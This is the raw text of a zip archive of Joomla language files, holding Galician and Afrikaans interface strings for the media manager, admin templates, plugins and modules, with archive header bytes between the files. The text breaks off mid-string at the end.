COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME="Non foi posíbel crear o cartafol. O nome do cartafol debe conter só caracteres alfanuméricos sen espazos." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME="Non foi posíbel eliminar:   %s. O nome do ficheiro debe conter só caracteres alfanuméricos sen espazos." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY="Non foi posíbel eliminar:   %s. O cartafol non está baleiro!" COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME="Non foi posíbel eliminar:   %s. O nome do cartafol debe conter só caracteres alfanuméricos sen espazos." COM_MEDIA_ERROR_UNABLE_TO_DELETE=" Non foi posíbel eliminar:  " COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE="Non foi posíbel subir o ficheiro." COM_MEDIA_ERROR_UPLOAD_INPUT="Insira un ficheiro para subir" COM_MEDIA_ERROR_WARNFILENAME="O nome do ficheiro debe conter só caracteres alfanuméricos sen espazos." COM_MEDIA_ERROR_WARNFILETOOLARGE="O ficheiro a subir é demasiado grande." COM_MEDIA_ERROR_WARNFILETYPE="Este tipo de ficheiro no é soportado." COM_MEDIA_ERROR_WARNIEXSS="Atopouse un posible ataque IE XSS." COM_MEDIA_ERROR_WARNINVALID_IMG="A imaxe non é válida." COM_MEDIA_ERROR_WARNINVALID_MIME="Detectouse un tipo mime ilegal ou non válido." COM_MEDIA_ERROR_WARNNOTADMIN="O ficheiro subido non é unha imaxe e vostede non ten permisos de autor ou superior. " COM_MEDIA_ERROR_WARNNOTEMPTY="Non está baleira!" COM_MEDIA_FIELD_CHECK_MIME_DESC="Empregar MIME Magic ou Fileinfo para tratar de verificar os ficheiros. Desactive isto se obtén erros de tipo mime non válido. " COM_MEDIA_FIELD_CHECK_MIME_LABEL="Comprobar os tipos MIME" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_DESC="Subir con Flash permite a suba de múltiples ficheiros á vez. Poida que non funcione coa súa configuración" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_LABEL="Activar subidas con Flash" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC="Extensión de ficheiro ignoradas para a comprobación de tipo MIME e para a restrición de subidas" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL="Extensións ignoradas" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC="Listaxe separada por vírgula de tipos MIME non autorizados para a subida (listaxe negra)" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL="Tipos MIME non autorizados" COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC=" Extensións (tipos de ficheiro) que están permitido subir (separadas por vírgula)." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL="Extensións permitidas (tipo de ficheiros)" COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC=" Extensións de imaxe (tipos de ficheiro) que están permitido subir (separadas por vírgula). Estas son empregadas para comprobar as cabeceiras de imaxe válidas." COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL="Extensións de imaxe permitidas (tipos de ficheiro)" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC="Listaxe de tipos MIME que están permitido subir separados por vírgula" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL="Tipos MIME permitidos" COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC="O tamaño máximo para unha subida (en MB). Empregue cero para non limitar. Nota: o servidor ten un límite máximo." COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL="Tamaño máximo (en MB)" COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC="Insira a ruta ao cartafol de ficheiros relativa á raíz. Aviso! cambiándoo a outra ruta distinta da predeterminada, 'images' pode romper as ligazóns." COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL="Ruta ao cartafol de ficheiros" COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC="Insira a ruta ao cartafol de imaxes relativa á raíz. Esta ruta ten que ser a mesma que se emprega para os ficheiros (predeterminados) ou cara un subcartafol na ruta do cartafol de ficheiros." COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL="Ruta ao cartafol de imaxes" COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC="Restrinxir subidas aos usuarios con nivel de permiso inferior a autor cando o Fileinfo ou MIME Magic non estea instalado." COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL="Subidas restrinxidas" COM_MEDIA_FILES="Ficheiros" COM_MEDIA_FILESIZE_BYTES="%s bytes" COM_MEDIA_FILESIZE="Tamaño de ficheiro" COM_MEDIA_FILESIZE_KILOBYTES="%s KB" COM_MEDIA_FILESIZE_MEGABYTES="%s MB" COM_MEDIA_FOLDER="Cartafol" COM_MEDIA_FOLDERS="Cartafoles multimedia" COM_MEDIA_FOLDERS_PATH_LABEL="Cambiando a ruta ao cartafol de ficheiros predeterminada por outro o cartafol 'images' pode romper as ligazóns.
              A ruta ao cartafol de imaxes ten que ser a mesma ou nun subcartafol da ruta de ficheiros. " COM_MEDIA_IMAGE_DESCRIPTION="Descrición da imaxe" COM_MEDIA_IMAGE_TITLE="%1$s - %2$s" COM_MEDIA_IMAGE_DIMENSIONS="%1$s x %2$s" COM_MEDIA_IMAGE_URL="URL da imaxe" COM_MEDIA_INSERT_IMAGE="Inserir imaxe" COM_MEDIA_INSERT="Inserir" COM_MEDIA_INVALID_REQUEST="Solicitude non válida" COM_MEDIA_MEDIA="Media" COM_MEDIA_NAME="Nome da imaxe" COM_MEDIA_NO_IMAGES_FOUND="Non se atopou imaxe algunha." COM_MEDIA_NOT_SET="Sen estabelecer" COM_MEDIA_OVERALL_PROGRESS="Progreso global" COM_MEDIA_PIXEL_DIMENSIONS="Tamaño en píxels (largo x alto)" COM_MEDIA_START_UPLOAD="Comezar subida" COM_MEDIA_THUMBNAIL_VIEW="Vista de miniatura" COM_MEDIA_TITLE="Título da imaxe" COM_MEDIA_UPLOAD_COMPLETE="Subida completada: %s" COM_MEDIA_UPLOAD_FILES_NOLIMIT="Subir ficheiros (non hai tamaño máximo)" COM_MEDIA_UPLOAD_FILES="Subir ficheiros (Tamaño máximo: %s MB)" COM_MEDIA_UPLOAD_FILE="Subir ficheiro" COM_MEDIA_UPLOAD_SUCCESSFUL="Suba correcta!" COM_MEDIA_UPLOAD="Subir" COM_MEDIA_UP="Subir" COM_MEDIA_XML_DESCRIPTION="Compoñente para xestionar os medios do sitio" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\)̶GG'language/gl-ES/gl-ES.com_config.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Xestor de configuración" COM_CONFIG_XML_DESCRIPTION="Xestor de configuración" PK@y>\A%,language/gl-ES/gl-ES.plg_finder_contacts.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTACTS="Busca intelixente - Contactos" PLG_FINDER_CONTACTS_XML_DESCRIPTION="Este engadido indexa os contactos Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_CONTACT="Contacto" PLG_FINDER_QUERY_FILTER_BRANCH_S_REGION="Rexión" PLG_FINDER_QUERY_FILTER_BRANCH_S_COUNTRY="País" PLG_FINDER_QUERY_FILTER_BRANCH_P_CONTACT="Contactos" PLG_FINDER_QUERY_FILTER_BRANCH_P_REGION="Rexións" PLG_FINDER_QUERY_FILTER_BRANCH_P_COUNTRY="Países" PK@y>\=^cc'language/gl-ES/gl-ES.com_mailto.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MAILTO="Xestión de correos electrónicos" COM_MAILTO_XML_DESCRIPTION="Compoñente xenérico de envío de correo" PK@y>\ !XMM&language/gl-ES/gl-ES.tpl_bluestork.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 TPL_BLUESTORK_FIELD_CONTRAST_DESC="Incrementar o contraste para unha mellor lectura" TPL_BLUESTORK_FIELD_CONTRAST_LABEL="Contraste alto" TPL_BLUESTORK_FIELD_SITENAME_DESC="Amosar o nome do sitio no canto do xenérico 'Administración' na cabeceira do tema." TPL_BLUESTORK_FIELD_SITENAME_LABEL="Amosar o nome do sitio" TPL_BLUESTORK_FIELD_TEXTBIG_DESC="Aumentar o tamaño do texto para unha mellor lectura" TPL_BLUESTORK_FIELD_TEXTBIG_LABEL="Texto máis grande" TPL_BLUESTORK_HEADER="Administración" TPL_BLUESTORK_XML_DESCRIPTION="

              BlueStork é un tema para a área de administración do Joomla!.

              " PK@y>\<#language/gl-ES/gl-ES.tpl_hathor.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor tema de administración" TPL_HATHOR_ALTERNATE_MENU_DESC="Use o menú alternativo que integra o rato e teclado. Require JavaScript. (O menú normal do tema Hathor é accesíbel con e sen JavaScript, pero deixa o teclado e rato independentes.)" TPL_HATHOR_ALTERNATE_MENU_LABEL="Menú alternativo" TPL_HATHOR_BOLD_TEXT_DESC="Usar texto groso" TPL_HATHOR_BOLD_TEXT_LABEL="Texto groso" TPL_HATHOR_COLOUR_CHOICE_DESC="Escolla a cor da paleta a empregar co tema. Pode empregar esta opción para escoller unha versión de contraste alto ou para crear a súa propia versión personalizada." TPL_HATHOR_COLOUR_CHOICE_LABEL="Escolla unha cor" TPL_HATHOR_COLOUR_CHOICE_STANDARD="Estándar" TPL_HATHOR_COLOUR_CHOICE_HIGH_CONTRAST="Contraste alto" TPL_HATHOR_COLOUR_CHOICE_BROWN="Marrón" TPL_HATHOR_COLOUR_CHOICE_BLUE="Azul" TPL_HATHOR_COM_MENUS_MENU="Menú" TPL_HATHOR_COM_MODULES_CUSTOM_POSITION_LABEL="Escoller" TPL_HATHOR_CPANEL_LINK_TEXT="Volver ao panel de administración" TPL_HATHOR_GO="Ir" TPL_HATHOR_MAIN_MENU="Menú principal" TPL_HATHOR_SHOW_SITE_NAME_DESC="Amosar o nome do sitio na cabeceira do tema" TPL_HATHOR_SHOW_SITE_NAME_LABEL="Amosar o nome do sitio" TPL_HATHOR_SKIP_TO_MAIN_CONTENT="Saltar ao contido principal" TPL_HATHOR_SUB_MENU="Submenú" TPL_HATHOR_XML_DESCRIPTION="Hathor é un tema para administración do Joomla!. Os ficheiros CSS de cor tamén poden ser utilizados para personalizar a cor." PK@y>\ħ 7language/gl-ES/gl-ES.plg_quickicon_joomlaupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Iconas rápidas - Notificación de actualizacións Joomla!" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Verifica se hai actualizacións para Joomla! e notifícao ao acceder ao panel de administración." PK@y>\@@+language/gl-ES/gl-ES.plg_system_p3p.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="O engadido de sistema para a directiva P3P permite a Joomla! enviar cadeas de caracteres personalizadas segundo a directiva P3P na cabeceira HTTP. Isto é requirido para as sesións que teñan que traballar con algúns navegadores como por exemplo, Internet Explorer 6 e 7." PLG_SYSTEM_P3P="Sistema - Directiva P3P" PK@y>\ ݶOO)language/gl-ES/gl-ES.com_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Ligazóns web" COM_WEBLINKS_XML_DESCRIPTION="Compoñente para a xestión de ligazóns web" COM_WEBLINKS_LINKS="Ligazóns" COM_WEBLINKS_CATEGORIES="Categorías" COM_WEBLINKS_CATEGORY_ADD_TITLE="Xestor de categorías: Engadir unha nova categoría de ligazóns web" COM_WEBLINKS_CATEGORY_EDIT_TITLE="Xestor de categorías: Modificar unha categorías de ligazóns web" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_DESC="Amosa unha listaxe de ligazóns web na categoría" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_OPTION="Predeterminado" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_TITLE="Lista de ligazóns web na categoría" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_DESC="Amosa todas as categorías de ligazóns web dentro dunha categoría." COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_TITLE="Lista de todas as categorías de ligazóns web" COM_WEBLINKS_FORM_VIEW_DEFAULT_DESC="Amosa un formulario para enviar unha ligazón web desde a portada do sitio." COM_WEBLINKS_FORM_VIEW_DEFAULT_OPTION="Predeterminado" COM_WEBLINKS_FORM_VIEW_DEFAULT_TITLE="Enviar unha ligazón web" PK@y>\ll/language/gl-ES/gl-ES.plg_content_finder.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Contido - Busca intelixente" PLG_CONTENT_FINDER_XML_DESCRIPTION="Activar a indexación da busca intelixente" PK@y>\Ò#language/gl-ES/gl-ES.mod_latest.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Últimas novas" MOD_LATEST_CREATED="Creado" MOD_LATEST_CREATED_BY="Creado por" MOD_LATEST_FIELD_AUTHORS_DESC="Filtrar por autores" MOD_LATEST_FIELD_AUTHORS_LABEL="Autores" MOD_LATEST_FIELD_CATEGORY_DESC="Escoller artigos de unha categoría específica ou conxunto de categorías." MOD_LATEST_FIELD_COUNT_DESC="Número de elementos a amosar (predeterminado 5)" MOD_LATEST_FIELD_COUNT_LABEL="Conta" MOD_LATEST_FIELD_ORDERING_DESC="Opcións de ordenación" MOD_LATEST_FIELD_ORDERING_LABEL="Orde" MOD_LATEST_FIELD_VALUE_AUTHORS_ANYONE="Calquera" MOD_LATEST_FIELD_VALUE_AUTHORS_BY_ME="Engadido ou modificado por min" MOD_LATEST_FIELD_VALUE_AUTHORS_NOT_BY_ME="Non engadido ou modificado por min" MOD_LATEST_FIELD_VALUE_ORDERING_ADDED="Primeiro os engadidos recentemente" MOD_LATEST_FIELD_VALUE_ORDERING_MODIFIED="Primeiro os modificados recentemente" MOD_LATEST_LATEST_ITEMS="Últimos elementos" MOD_LATEST_NO_MATCHING_RESULTS="Sen resultados" MOD_LATEST_TITLE="Artigos creados recentemente" MOD_LATEST_TITLE_CREATED="Últimos artigos engadidos" MOD_LATEST_TITLE_CREATED_1="Último artigo engadido" MOD_LATEST_TITLE_CREATED_MORE="Últimos %1$s artigos engadidos" MOD_LATEST_TITLE_CREATED_NOT_ME="Últimos artigos engadidos por outros" MOD_LATEST_TITLE_CREATED_NOT_ME_1="Último artigo engadido por outros" MOD_LATEST_TITLE_CREATED_NOT_ME_MORE="Últimos %1$s artigos engadidos por outros" MOD_LATEST_TITLE_CREATED_BY_ME="Últimos artigos engadidos por min" MOD_LATEST_TITLE_CREATED_BY_ME_1="Último artigo engadido por min" MOD_LATEST_TITLE_CREATED_BY_ME_MORE="Últimos %1$s artigos engadidos por min" MOD_LATEST_TITLE_CREATED_CATEGORY="Últimos artigos engadidos (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_1="Último artigo engadido (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_MORE="Últimos %1$s artigos engadidos (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME="Últimos artigos engadidos por min (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_1="Último artigo engadido por min (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_MORE="Últimos %1$s artigos engadidos por min (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME="Últimos artigos engadidos por outros (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_1="Último artigo engadidos por outros (%2$s categoría)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_MORE="Últimos %1$s artigos engadidos por outros (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED="Últimos artigos modificados" MOD_LATEST_TITLE_MODIFIED_1="Último artigo modificado" MOD_LATEST_TITLE_MODIFIED_MORE="Últimos %1$s artigos modificados" MOD_LATEST_TITLE_MODIFIED_BY_ME="Últimos artigos modificados por min" MOD_LATEST_TITLE_MODIFIED_BY_ME_1="Último artigo modificado por min" MOD_LATEST_TITLE_MODIFIED_BY_ME_MORE="Últimos %1$s artigos modificados por min" MOD_LATEST_TITLE_MODIFIED_NOT_ME="Últimos artigos modificados por outros" MOD_LATEST_TITLE_MODIFIED_NOT_ME_1="Último artigo modificado por outros" MOD_LATEST_TITLE_MODIFIED_NOT_ME_MORE="Últimos %1$s artigos modificados por outros" MOD_LATEST_TITLE_MODIFIED_CATEGORY="Últimos artigos modificados (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_1="Último artigo modificado (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_MORE="Últimos %1$s artigos modificados (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME="Últimos artigos modificados por min (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_1="Último artigo modificado por min (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_MORE="Últimos %1$s artigos modificados por min (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME="Últimos artigos modificados por outros (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_1="Último artigo modificado por outros (%2$s categoría)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_MORE="Últimos %1$s artigos modificados por outros (%2$s categoría)" MOD_LATEST_UNEXISTING="Inexistente" MOD_LATEST_XML_DESCRIPTION="Este módulo amosa unha lista dos artigos publicados máis recentemente e que aínda son actuais. Algúns poden ter expirado, aínda que sexan os máis recentes." PK@y>\)ϧ6''2language/gl-ES/gl-ES.plg_captcha_recaptcha.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="Este engadido Captcha usa o servizo reCaptcha para precaver de accesos de robots de SPAM, ademais de axuda a dixitalizar libros, xornais e transmisións de radio antigas. Para obter unha chave pública e privada para o seu dominio, vaia a http://www.google.com/recaptcha. Para usar este novo rexistro de conta, vaia a opcións no Xestor de usuarios e seleccione Captcha - reCaptcha como o Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" PK@y>\g__-language/gl-ES/gl-ES.plg_content_vote.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Contido - Valorar" PLG_VOTE_XML_DESCRIPTION="Engade a funcionalidade de valoración aos artigos." PK@y>\ʮ$$2language/gl-ES/gl-ES.plg_editors-xtd_pagebreak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Botón - Quebra de páxina" PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK="Salto de páxina" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Fornece un botón que permite inserir unha quebra de páxina nun artigo. Amosa unha xanela emerxente que permite configurar as opcións a usar." PK@y>\`[6language/gl-ES/gl-ES.plg_editors-xtd_pagebreak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Botón - Quebra de páxina" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Fornece un botón que permite inserir unha quebra de páxina nun artigo. Amosa unha xanela emerxente que permite configurar as opcións a usar." PK@y>\'language/gl-ES/gl-ES.mod_status.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="Estado de usuario" MOD_STATUS_XML_DESCRIPTION="Este módulo amosa o estado dos usuarios identificados." MOD_STATUS_LAYOUT_DEFAULT="Predeterminado" PK@y>\T?)language/gl-ES/gl-ES.com_messages.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Mensaxes" COM_MESSAGES_ADD="Nova mensaxe privada" COM_MESSAGES_READ="Ler mensaxes privadas" COM_MESSAGES_XML_DESCRIPTION="Compoñente para permitir mensaxes privadas na administración do sitio" PK@y>\ ֎&language/af-ZA/af-ZA.com_login.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_login.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_LOGIN="Inteken" COM_LOGIN_XML_DESCRIPTION="Hierdie komponent laat gebruikers by die werf inteken." PK@y>\n ::0language/af-ZA/af-ZA.plg_search_contacts.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_search_contacts.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_CONTACTS="Soektog - Kontakte" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Laat die deursoek toe van die Kontak Komponent" PK@y>\.language/af-ZA/af-ZA.plg_finder_categories.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_categories.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Slim Soektog - Kategorië" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Kategorië" PK@y>\zg6language/af-ZA/af-ZA.plg_editors-xtd_pagebreak.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors-xtd_pagebreak.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS-XTD_PAGEBREAK="Knoppie - Bladsybreuk" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Hierdie verskaf 'n knoppie waarmee 'n bladsybreuk in 'n artikel gevoeg kan word. Verdere konfigurasies kan in 'n opspringvenster gestel word." PK@y>\x=@@0language/af-ZA/af-ZA.plg_search_weblinks.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_search_weblinks.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SEARCH_WEBLINKS="Soektog - Webskakels" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Ontspers die deursoek van die Webskakels-Komponent" PK@y>\hSDD%language/af-ZA/af-ZA.mod_menu.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_menu.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_MENU_LAYOUT_DEFAULT="Verstek" MOD_MENU_XML_DESCRIPTION="Hierdie module vertoon die hoof admin navigasie module" MOD_MENU="Administrateur Menu" PK@y>\Xx{{,language/af-ZA/af-ZA.plg_system_redirect.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_redirect.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_REDIRECT="Stelsel - Herlei" PLG_REDIRECT_XML_DESCRIPTION="Die stelsel Herlei inprop-program ontsper die Joomla! Herlei-stelsel om ontbrekende bladsye te vang en gebruikers te herlei." PK@y>\ҵ#language/af-ZA/af-ZA.mod_status.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_status.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_STATUS="mod_status" MOD_STATUS_MESSAGES="Boodskappe" MOD_STATUS_LOG_OUT="Teken Uit" MOD_STATUS_USERS="Inteken voorkant" MOD_STATUS_BACKEND_USERS="Inteken akterent" MOD_STATUS_FIELD_SHOW_MESSAGES_LABEL="Vertoon boodskappe" MOD_STATUS_MESSAGES_0="Geen Boodskappe nie" MOD_STATUS_MESSAGES_1="%d Boodskappe" MOD_STATUS_XML_DESCRIPTION="Hierdie module vertoon die status van die ingetekende gebruikers." MOD_STATUS_USERS_0="Niemand by voorkant ingeteken" MOD_STATUS_USERS_1="%s by voorkant ingeteken" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_LABEL="Vertoon ingetekende gebruikers" MOD_STATUS_BACKEND_USERS_1="%s Admin" MOD_STATUS_FIELD_SHOW_MESSAGES_DESC="Vertoon die boodskaptelling vir die huidige gebruiker se inboks" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_DESC="Vertoon die aantal gebruikers wat ingelog is op 